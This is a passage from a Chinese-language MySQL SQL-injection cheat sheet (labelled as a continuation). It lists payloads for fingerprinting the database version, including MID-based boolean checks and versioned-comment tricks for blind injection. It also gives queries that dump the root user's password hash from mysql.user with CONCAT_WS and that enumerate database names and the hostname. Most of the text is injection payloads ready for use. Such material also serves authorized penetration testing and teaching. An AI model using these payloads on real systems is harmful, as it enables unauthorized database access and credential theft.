上接mysql篇(1)
测试数据库版本
1.使用自带函数
version()
@@version
@@global.version
examples
select version();
SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
mid() 用于截取字符串,用法 mid(字符串,起始位置,截取几个字符)
备注:
如果数据库运行在windows的机器上的话输出会带上-nt-log
2.使用特殊代码
1 /*!50094eaea*/ ; False 如果版本在5.0094或以上
1 /*!50096eaea*/ ; True 如果版本在5.0096以下
1/*!50095eaea*/ ; False 如果版本是5.0095
备注:
当你不能将任何sql带入注入位置查询的时候,这个方法可以用于检测数据库版本
数据库凭证
table mysql.user
columns user password
current user user() current_user() current_user system_user() session_user()
examples:
seclct current_user ;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
数据库名字
table information_schema.schemata mysql.db
columns schema_name db
currentdb database() schema()
examples:
select database();
select schema_name from information_schema.schemata;
select distinct(db) from mysql.db
主机名
@@hostname
example
select @@hostname;